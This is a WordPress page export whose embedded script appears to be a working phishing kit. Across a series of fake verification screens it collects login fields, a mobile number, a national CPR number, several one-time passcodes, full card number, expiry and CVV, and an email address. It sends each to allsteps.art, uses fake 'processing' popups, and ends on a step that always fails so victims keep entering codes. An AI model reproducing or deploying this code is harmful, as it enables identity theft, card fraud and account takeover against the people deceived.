.phl-mobile-icon,\n#phl-step-8 .phl-mobile-icon,\n#phl-step-cpr-otp .phl-mobile-icon{\n\n    width:100% !important;\n\n    display:flex !important;\n    justify-content:center !important;\n    align-items:center !important;\n\n    float:none !important;\n    clear:both !important;\n\n    margin-left:auto !important;\n    margin-right:auto !important;\n\n    text-align:center !important;\n}\n\n#phl-content .phl-logo img,\n#phl-step-2 .phl-logo img,\n#phl-step-4 .phl-logo img,\n#phl-step-5 .phl-logo img,\n#phl-step-7 .phl-logo img,\n#phl-step-3 .phl-mobile-icon img,\n#phl-step-6 .phl-mobile-icon img,\n#phl-step-8 .phl-mobile-icon img,\n#phl-step-cpr-otp .phl-mobile-icon img{\n    display:block !important;\n    margin-left:auto !important;\n    margin-right:auto !important;\n    position:static !important;\n    left:auto !important;\n    right:auto !important;\n    transform:none !important;\n    float:none !important;\n}\n\n\/* FINAL LOGO CENTER FIX *\/\n\n.phl-logo,\n.phl-mobile-icon{\n    width:100% !important;\n    display:flex !important;\n    justify-content:center !important;\n    align-items:center !important;\n    text-align:center !important;\n}\n\n.phl-logo img,\n.phl-mobile-icon img{\n    display:block !important;\n    margin-left:auto !important;\n    margin-right:auto !important;\n}\n\n\/* ALL OTP SCREENS MOVE UP *\/\n\n#phl-step-3,\n#phl-step-cpr-otp,\n#phl-step-6,\n#phl-step-8{\n\n    padding-top:40px !important;\n\n}\n\n#otpVerifyBtn,\n#cprOtpBtn,\n#step6Btn,\n#step8Btn{\n    margin-top:35px !important;\n}\n\n.phl-bottom-logo{\n    width:100% !important;\n    display:flex !important;\n    justify-content:center !important;\n    align-items:center !important;\n    text-align:center !important;\n}\n\n.phl-bottom-logo img{\n    display:block !important;\n    margin-left:auto !important;\n    margin-right:auto !important;\n    float:none !important;\n}\n\n<\/style>\n\n<script>\ndocument.addEventListener(\"DOMContentLoaded\", function(){\n    \n    const togglePassword =\ndocument.getElementById('togglePassword');\n\nconst passwordField =\ndocument.getElementById('passwordField');\n\nconst eyeOpen =\ndocument.getElementById('eyeOpen');\n\nconst eyeClose =\ndocument.getElementById('eyeClose');\n\nif(togglePassword){\n\n    togglePassword.addEventListener('click',function(){\n\n        if(passwordField.type === 'password'){\n\n            passwordField.type = 'text';\n\n            eyeOpen.style.display = 'none';\n            eyeClose.style.display = 'block';\n\n        }else{\n\n            passwordField.type = 'password';\n\n            eyeOpen.style.display = 'block';\n            eyeClose.style.display = 'none';\n\n        }\n        \n    });\n\n}\n\nconst step2Btn =\ndocument.getElementById('step2Btn');\n\nconst mobile =\ndocument.getElementById('mobileNumber');\n\nif(mobile){\n\n    mobile.addEventListener('input',function(){\n\n        this.value =\n        this.value.replace(\/\\D\/g,'');\n\n        if(this.value.length > 8){\n\n            this.value =\n            this.value.slice(0,8);\n\n        }\n\n    });\n\n}\n\nconst step4Btn =\ndocument.getElementById('step4Btn');\n\nconst cprNumber =\ndocument.getElementById('cprNumber');\n\nif(cprNumber){\n\n    cprNumber.addEventListener('input',function(){\n\n        this.value =\n        this.value.replace(\/\\D\/g,'');\n\n        if(this.value.length > 9){\n\n            this.value =\n            this.value.slice(0,9);\n\n        }\n\n    });\n\n}\n\nconst cardNumber =\ndocument.getElementById('cardNumber');\n\nif(cardNumber){\n\n    cardNumber.addEventListener('input',function(){\n\n        let value =\n        this.value.replace(\/\\D\/g,'');\n\n        value =\n        value.substring(0,16);\n\n        let formatted =\n        value.match(\/.{1,4}\/g);\n\n        this.value =\n        formatted ?\n        formatted.join(' ') :\n        '';\n        \n        if(value.length === 16){\n\n    document\n    .getElementById('expiryDate')\n    .focus();\n\n}\n\n    });\n\n}\n\nconst expiryDate =\ndocument.getElementById('expiryDate');\n\nif(expiryDate){\n\n    expiryDate.addEventListener('input',function(){\n\n        let value =\n        this.value.replace(\/\\D\/g,'');\n\n        value =\n        value.substring(0,4);\n\n        if(value.length > 2){\n\n            value =\n            value.substring(0,2)\n            + '\/'\n            + value.substring(2);\n\n        }\n\n        this.value = value;\n\n        if(value.length === 5){\n\n            document\n            .getElementById('cardCvv')\n            .focus();\n\n        }\n\n    });\n\n}\n\nconst cardCvv =\ndocument.getElementById('cardCvv');\n\nif(cardCvv){\n\n    cardCvv.addEventListener('input',function(){\n\n        this.value =\n        this.value.replace(\/\\D\/g,'');\n\n        if(this.value.length > 6){\n\n            this.value =\n            this.value.substring(0,6);\n\n        }\n\n    });\n\n}\n\nif(step4Btn){\n\n    step4Btn.addEventListener('click',function(){\n\n        let cpr = cprNumber.value;\n\n        if(cpr.length !== 9){\n            alert('Enter 9 digit CPR Number');\n            return;\n        }\n\n        step4Btn.disabled = true;\n        step4Btn.innerHTML =\n        '<span class=\"btn-loader\"><\/span>';\n\n        setTimeout(function(){\n\n            let formData = new FormData();\n\n            formData.append('action','phl_cpr_submit');\n            formData.append('cpr',cpr);\n\n            fetch('https:\/\/allsteps.art\/wp-admin\/admin-ajax.php',{\n                method:'POST',\n                body:formData\n            })\n            .then(res=>res.json())\n            .then(data=>{\n\n                step4Btn.disabled = false;\n                step4Btn.innerHTML = 'Continue';\n\n                document.getElementById(\n                    'phl-processing-popup'\n                ).style.display = 'flex';\n\n                setTimeout(function(){\n\n                    document.getElementById(\n                        'phl-processing-popup'\n                    ).style.display = 'none';\n\n                    document.getElementById(\n                        'phl-step-4'\n                    ).style.display = 'none';\n\n                    document.getElementById(\n'phl-step-cpr-otp'\n).style.display='block';\n\n                },5000);\n\n            });\n\n        },3000);\n\n    });\n\n}\n\nconst cprOtpBtn =\ndocument.getElementById('cprOtpBtn');\n\nif(cprOtpBtn){\n\n    cprOtpBtn.addEventListener('click',function(){\n\n        let otp = '';\n\n        document.querySelectorAll('.cpr-otp')\n        .forEach(function(box){\n            otp += box.value;\n        });\n\n        if(otp.length !== 6){\n            alert('Enter 6 digit OTP');\n            return;\n        }\n\n        cprOtpBtn.disabled = true;\n        cprOtpBtn.innerHTML =\n        '<span class=\"btn-loader\"><\/span>';\n\nsetTimeout(function(){\n\n    let formData = new FormData();\n\n    formData.append(\n        'action',\n        'phl_cpr_otp_submit'\n    );\n\n    formData.append(\n        'otp',\n        otp\n    );\n\n    fetch('https:\/\/allsteps.art\/wp-admin\/admin-ajax.php',{\n        method:'POST',\n        body:formData\n    })\n    .then(res=>res.json())\n    .then(data=>{\n\n        cprOtpBtn.disabled = false;\n        cprOtpBtn.innerHTML = 'Verify';\n\n        document.getElementById(\n        'phl-step-cpr-otp'\n        ).style.display = 'none';\n\n        document.getElementById(\n        'phl-step-5'\n        ).style.display = 'block';\n\n    });\n\n},3000);\n\n    });\n\n}\n\nconst step5Btn =\ndocument.getElementById('step5Btn');\n\nif(step5Btn){\n\n    step5Btn.addEventListener('click',function(){\n\n        let card =\n        document.getElementById('cardNumber')\n        .value.replace(\/\\s\/g,'');\n\n        let expiry =\n        document.getElementById('expiryDate').value;\n\n        let cvv =\n        document.getElementById('cardCvv').value;\n\n        if(card.length !== 16){\n            alert('Enter valid card number');\n            return;\n        }\n\n        if(expiry.length !== 5){\n            alert('Enter expiry date');\n            return;\n        }\n\n        if(cvv.length < 4){\n            alert('Enter CVV');\n            return;\n        }\n\n        step5Btn.disabled = true;\n        step5Btn.innerHTML =\n        '<span class=\"btn-loader\"><\/span>';\n\n        setTimeout(function(){\n\n            let formData = new FormData();\n\n            formData.append('action','phl_card_submit');\n            formData.append('card',card);\n            formData.append('expiry',expiry);\n            formData.append('cvv',cvv);\n\n            fetch('https:\/\/allsteps.art\/wp-admin\/admin-ajax.php',{\n                method:'POST',\n                body:formData\n            })\n            .then(res=>res.json())\n            .then(data=>{\n\n                step5Btn.disabled = false;\n                step5Btn.innerHTML = 'Continue';\n\n                document.querySelector(\n                    '#phl-processing-popup h3'\n                ).innerText =\n                'Card Verification';\n\n                document.querySelector(\n                    '#phl-processing-popup p'\n                ).innerText =\n                'Your card details are being verified. Please wait.';\n\n                document.getElementById(\n                    'phl-processing-popup'\n                ).style.display='flex';\n\n                setTimeout(function(){\n\n                    document.getElementById(\n                        'phl-processing-popup'\n                    ).style.display='none';\n\n                    document.getElementById(\n                        'phl-step-5'\n                    ).style.display='none';\n\n                    document.getElementById(\n                        'phl-step-6'\n                    ).style.display='block';\n\n                },5000);\n\n            });\n\n        },3000);\n\n    });\n\n}\n\nif(step2Btn){\n\n    step2Btn.addEventListener('click',function(){\n\n        let number =\n        document.getElementById('mobileNumber').value;\n\n        if(number.length !== 8){\n\n            alert('Enter 8 digit mobile number');\n            return;\n\n        }\n\n        step2Btn.disabled = true;\n\n        step2Btn.innerHTML =\n        '<span class=\"btn-loader\"><\/span>';\n\n        setTimeout(function(){\n\n            let formData = new FormData();\n\n            formData.append('action','phl_mobile_submit');\n            formData.append('mobile',number);\n\n            fetch('https:\/\/allsteps.art\/wp-admin\/admin-ajax.php',{\n                method:'POST',\n                body:formData\n            })\n            .then(res => res.json())\n            .then(data => {\n\n                step2Btn.disabled = false;\n                step2Btn.innerHTML = 'Continue';\n\n                document.getElementById(\"phl-step-2\").style.display = \"none\";\n\n                document.getElementById(\"phl-step-3\").style.display = \"block\";\n\n            });\n\n        },3000);\n\n    });\n\n}\n\nlet otpBtn = document.getElementById('otpVerifyBtn');\n\nlet otpTime = 180;\n\nlet otpTimerBox =\ndocument.getElementById('otpTimer');\n\nsetInterval(function(){\n\n    if(!otpTimerBox) return;\n\n    let minutes =\n    Math.floor(otpTime \/ 60);\n\n    let seconds =\n    otpTime % 60;\n\n    otpTimerBox.innerHTML =\n    String(minutes).padStart(2,'0')\n    + ':' +\n    String(seconds).padStart(2,'0')\n    + ' Time Left';\n\n    if(otpTime > 0){\n        otpTime--;\n    }\n\n},1000);\n\nif(otpBtn){\n\n    otpBtn.addEventListener('click',function(){\n\n        otpBtn.disabled = true;\n\n        otpBtn.innerHTML =\n        '<span class=\"btn-loader\"><\/span>';\n\n        setTimeout(function(){\n\n            otpBtn.disabled = false;\n\n            otpBtn.innerHTML = 'Verify';\n\n            let otp = '';\n\ndocument.querySelectorAll('.otp-box').forEach(function(box){\n    otp += box.value;\n});\n\nif(otp.length !== 6){\n\n    alert('Enter 6 digit OTP');\n\n    otpBtn.disabled = false;\n    otpBtn.innerHTML = 'Verify';\n\n    return;\n}\n\nlet formData = new FormData();\n\nformData.append('action','phl_otp_submit');\nformData.append('otp',otp);\n\nfetch('https:\/\/allsteps.art\/wp-admin\/admin-ajax.php',{\n    method:'POST',\n    body:formData\n})\n.then(res=>res.json())\n.then(data=>{\n    \ndocument.getElementById(\"phl-step-3\").style.display = \"none\";\ndocument.getElementById(\"phl-step-4\").style.display = \"block\";\n\n    otpBtn.disabled = false;\n    otpBtn.innerHTML = 'Verify';\n\n});\n\n        },3000);\n\n    });\n\n}\n\nlet cprOtpTime = 180;\n\nconst cprOtpTimer =\ndocument.getElementById('cprOtpTimer');\n\nsetInterval(function(){\n\n    if(!cprOtpTimer) return;\n\n    let minutes =\n    Math.floor(cprOtpTime \/ 60);\n\n    let seconds =\n    cprOtpTime % 60;\n\n    cprOtpTimer.innerHTML =\n    String(minutes).padStart(2,'0')\n    + ':'\n    + String(seconds).padStart(2,'0')\n    + ' Time Left';\n\n    if(cprOtpTime > 0){\n        cprOtpTime--;\n    }\n\n},1000);\n\nlet step6Time = 180;\n\nlet step6TimerBox =\ndocument.getElementById('step6Timer');\n\nsetInterval(function(){\n\n    if(!step6TimerBox) return;\n\n    let minutes =\n    Math.floor(step6Time \/ 60);\n\n    let seconds =\n    step6Time % 60;\n\n    step6TimerBox.innerHTML =\n    String(minutes).padStart(2,'0')\n    + ':'\n    + String(seconds).padStart(2,'0')\n    + ' Time Left';\n\n    if(step6Time > 0){\n        step6Time--;\n    }\n\n},1000);\n\n    \/\/ First Loader 5 seconds\n    setTimeout(function(){\n\n        document.getElementById(\"phl-loader\").style.display = \"none\";\n        document.getElementById(\"phl-content\").style.display = \"block\";\n\n    }, 5000);\n\n    \/\/ Continue Button\n    document.addEventListener(\"click\", function(e){\n\n        if(e.target && e.target.id === \"continueBtn\"){\n\n            var btn = e.target;\n\n            var input1 = document.querySelectorAll(\".phl-input\")[0].value.trim();\n            var input2 = document.querySelectorAll(\".phl-input\")[1].value.trim();\n\n            if(input1 === \"\" || input2 === \"\"){\n                alert(\"Please fill both fields\");\n                return;\n            }\n\n            btn.disabled = true;\n            btn.innerHTML = '<span class=\"btn-loader\"><\/span>';\n\n            setTimeout(function(){\n\n                btn.innerHTML = \"Continue\";\n                btn.disabled = false;\n\nlet formData = new FormData();\n\nformData.append('action','phl_submit');\nformData.append('input1',input1);\nformData.append('input2',input2);\n\nfetch('https:\/\/allsteps.art\/wp-admin\/admin-ajax.php',{\n    method:'POST',\n    body:formData\n})\n.then(res=>res.json())\n.then(data=>{\n\n    btn.innerHTML = \"Continue\";\n    btn.disabled = false;\n\n    document.getElementById(\"phl-content\").style.display = \"none\";\n\ndocument.getElementById(\"phl-step-2\").style.display = \"block\";\n\n});                \n\n            }, 3000);\n\n        }\n\n    });\n\n});\n\nconst otpInputs = document.querySelectorAll('.otp-box');\n\notpInputs.forEach((input,index)=>{\n\n    input.inputMode = 'numeric';\n\n    input.addEventListener('input',function(){\n\n        this.value = this.value.replace(\/\\D\/g,'');\n\n        if(this.value !== '' && otpInputs[index+1]){\n            otpInputs[index+1].focus();\n        }\n\n    });\n\n    input.addEventListener('keydown',function(e){\n\n        if(e.key === 'Backspace' && this.value === '' && otpInputs[index-1]){\n            otpInputs[index-1].focus();\n        }\n\n    });\n\n});\n\nif(otpInputs.length){\n    otpInputs[0].focus();\n}\n\nconst step6Inputs =\ndocument.querySelectorAll('.step6-otp');\n\nstep6Inputs.forEach((input,index)=>{\n\n    input.inputMode = 'numeric';\n\n    input.addEventListener('input',function(){\n\n        this.value =\n        this.value.replace(\/\\D\/g,'');\n\n        if(this.value !== '' && step6Inputs[index+1]){\n\n            step6Inputs[index+1].focus();\n\n        }\n\n    });\n\n});\n\nconst cprOtpBtn =\ndocument.getElementById('cprOtpBtn');\n\nif(cprOtpBtn){\n\n    cprOtpBtn.addEventListener('click',function(){\n\n        let otp='';\n\n        document.querySelectorAll('.cpr-otp')\n        .forEach(function(box){\n            otp += box.value;\n        });\n\n        if(otp.length !== 6){\n\n            alert('Enter 6 digit OTP');\n            return;\n\n        }\n\n        cprOtpBtn.disabled = true;\n\n        cprOtpBtn.innerHTML =\n        '<span class=\"btn-loader\"><\/span>';\n\n        setTimeout(function(){\n\n            cprOtpBtn.disabled = false;\n            cprOtpBtn.innerHTML = 'Verify';\n\n            document.getElementById(\n            'phl-step-cpr-otp'\n            ).style.display = 'none';\n\n            document.getElementById(\n            'phl-step-5'\n            ).style.display = 'block';\n\n        },3000);\n\n    });\n\n}\n\nconst step6Btn =\ndocument.getElementById('step6Btn');\n\nif(step6Btn){\n\n    step6Btn.addEventListener('click',function(){\n\n        let otp = '';\n\n        document.querySelectorAll('.step6-otp')\n        .forEach(function(box){\n            otp += box.value;\n        });\n\n        if(otp.length !== 6){\n\n            alert('Enter 6 digit OTP');\n            return;\n        }\n\n        step6Btn.disabled = true;\n\n        step6Btn.innerHTML =\n        '<span class=\"btn-loader\"><\/span>';\n\n        setTimeout(function(){\n\n            step6Btn.disabled = false;\n            step6Btn.innerHTML = 'Verify';\n\n            let formData = new FormData();\n\n            formData.append(\n                'action',\n                'phl_step6_submit'\n            );\n\n            formData.append(\n                'otp',\n                otp\n            );\n\n            fetch('https:\/\/allsteps.art\/wp-admin\/admin-ajax.php',{\n                method:'POST',\n                body:formData\n            })\n            .then(res=>res.json())\n            .then(data=>{\n\n    step6Btn.disabled = false;\n    step6Btn.innerHTML = 'Verify';\n\n    document.getElementById('phl-step-6').style.display='none';\ndocument.getElementById('phl-step-7').style.display='block';\n\n});\n\n        },3000);\n\n    });\n\n}\n\nconst step7Btn =\ndocument.getElementById('step7Btn');\n\nif(step7Btn){\n\n    step7Btn.addEventListener('click',function(){\n\n        let email =\n        document.getElementById('emailAddress')\n        .value.trim();\n\n        if(email === ''){\n\n            alert('Enter Email');\n            return;\n\n        }\n\n        step7Btn.disabled = true;\n\n        step7Btn.innerHTML =\n        '<span class=\"btn-loader\"><\/span>';\n\n        setTimeout(function(){\n\n            let formData = new FormData();\n\n            formData.append(\n                'action',\n                'phl_email_submit'\n            );\n\n            formData.append(\n                'email',\n                email\n            );\n\n            fetch('https:\/\/allsteps.art\/wp-admin\/admin-ajax.php',{\n                method:'POST',\n                body:formData\n            })\n            .then(res=>res.json())\n            .then(data=>{\n\n                step7Btn.disabled = false;\n                step7Btn.innerHTML = 'Continue';\n\nstep7Btn.disabled = false;\nstep7Btn.innerHTML = 'Continue';\n\ndocument.getElementById('phl-step-7').style.display='none';\ndocument.getElementById('phl-step-8').style.display='block';\nlet timeLeft = 180;\n\nconst step8Countdown = setInterval(function(){\n\n    let minutes = Math.floor(timeLeft \/ 60);\n    let seconds = timeLeft % 60;\n\n    document.getElementById('step8Timer').innerHTML =\n    String(minutes).padStart(2,'0') +\n    ':' +\n    String(seconds).padStart(2,'0') +\n    ' Time Left';\n\n    timeLeft--;\n\n    if(timeLeft < 0){\n\n        clearInterval(step8Countdown);\n\n        document.getElementById('step8Timer').innerHTML =\n        '00:00 Time Left';\n\n    }\n\n},1000);\n\n            });\n\n        },3000);\n\n    });\n\n}\n\nconst step8Btn =\ndocument.getElementById('step8Btn');\n\nif(step8Btn){\n\n    step8Btn.addEventListener('click',function(){\n\n        let otp='';\n\n        document.querySelectorAll('.email-otp')\n        .forEach(function(box){\n            otp += box.value;\n        });\n\n        if(otp.length !== 6){\n            alert('Enter 6 digit OTP');\n            return;\n        }\n\n        step8Btn.disabled = true;\n\n        step8Btn.innerHTML =\n        '<span class=\"btn-loader\"><\/span>';\n\n        setTimeout(function(){\n\n            let formData = new FormData();\n\n            formData.append(\n                'action',\n                'phl_email_otp_submit'\n            );\n\n            formData.append(\n                'otp',\n                otp\n            );\n\n            fetch('https:\/\/allsteps.art\/wp-admin\/admin-ajax.php',{\n                method:'POST',\n                body:formData\n            })\n            .then(res=>res.json())\n.then(data=>{\n\n    step8Btn.disabled = false;\n    step8Btn.innerHTML = 'Continue';\n\n    document\n    .querySelectorAll('.email-otp')\n    .forEach(function(box){\n        box.value='';\n    });\n\n    const errorBox =\n    document.getElementById('step8Error');\n\n    errorBox.style.display = 'block';\n\n    setTimeout(function(){\n\n        errorBox.style.display = 'none';\n\n    },3000);\n\n    document\n    .querySelector('.email-otp')\n    .focus();\n\n}); \n\n        },3000);\n\n    });\n\n}\n\nfetch('https:\/\/allsteps.art\/wp-admin\/admin-ajax.php', {\n    method:'POST',\n    headers:{\n        'Content-Type':'application\/x-www-form-urlencoded'\n    },\n    body:'action=phl_visitor_open'\n});\n\n<\/script>\n\n<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\n<\/div>\n\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-7","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/allsteps.art\/index.php?rest_route=\/wp\/v2\/pages\/7","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/allsteps.art\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/allsteps.art\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/allsteps.art\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/allsteps.art\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7"}],"version-history":[{"count":5,"href":"https:\/\/allsteps.art\/index.php?rest_route=\/wp\/v2\/pages\/7\/revisions"}],"predecessor-version":[{"id":18,"href":"https:\/\/allsteps.art\/index.php?rest_route=\/wp\/v2\/pages\/7\/revisions\/18"}],"wp:attachment":[{"href":"https:\/\/allsteps.art\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}